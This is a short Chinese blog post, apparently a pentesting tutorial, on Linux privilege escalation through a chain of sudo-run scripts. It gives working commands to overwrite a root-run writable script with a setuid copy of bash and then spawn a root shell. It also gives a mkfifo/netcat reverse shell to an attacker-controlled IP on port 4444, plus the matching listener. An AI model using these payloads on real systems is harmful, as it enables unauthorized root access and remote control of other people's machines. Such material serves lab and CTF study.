以普通用户登入后,先sudo -l
看看有什么具有root权限、且普通用户可以写入的脚本
例:A.sh
该类脚本普通用户是启动不了的,但可以通过链式脚本启动
例:
存在脚本B.sh,其内部为:
#!/usr/bin/perl system("sh", "/etc/A.sh");
即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本
A、B脚本对于普通用户一般为:
A可以写入且具有root权限,但不可执行
B可以免密执行但不可写入
所以最重要的是找到这条链,并修改A脚本,最后执行B脚本
在找到A脚本后就可以通过两种方法来提取:
1.修改脚本来切换shell获取root权限的方法:
原理:
一般/bin/bash是具有root权限,而且普通用户不能启动,
故将其复制为/tmp/bash,这是允许用户启动的shell
这样一旦用户运行脚本/tmp/bash则会拥有root的权限
接着用户就可以运行/tmp/bash来获取root权限
操作:
1.先将命令写入A脚本
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /../../A.sh
2.以sudo执行B脚本
可以通过很多的方法启动
用sudo -l里允许的链式脚本文件或程序启动脚本
3.切换shell,获取root权限
cd /tmp ./bash -p
到这里就已经为root用户了
2.修改脚本建立一个反弹shell获取root权限的方法
原理:
运行脚本,脚本自动执行内置命令
然后就会反弹一个shell给本地机
本地机预先监听就可以连入
操作:
1.先将命令写入A脚本
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your_ip 4444 >/tmp/f
4444为将要监听的端口
2.在本地机上开启监听
nc -lnvp 4444
3.以sudo运行B脚本
运行完连入后即为root用户
标签:脚本,tmp,修改,提权,bin,权限,root,bash From: https://www.cnblogs.com/jhinjax/p/17067904.html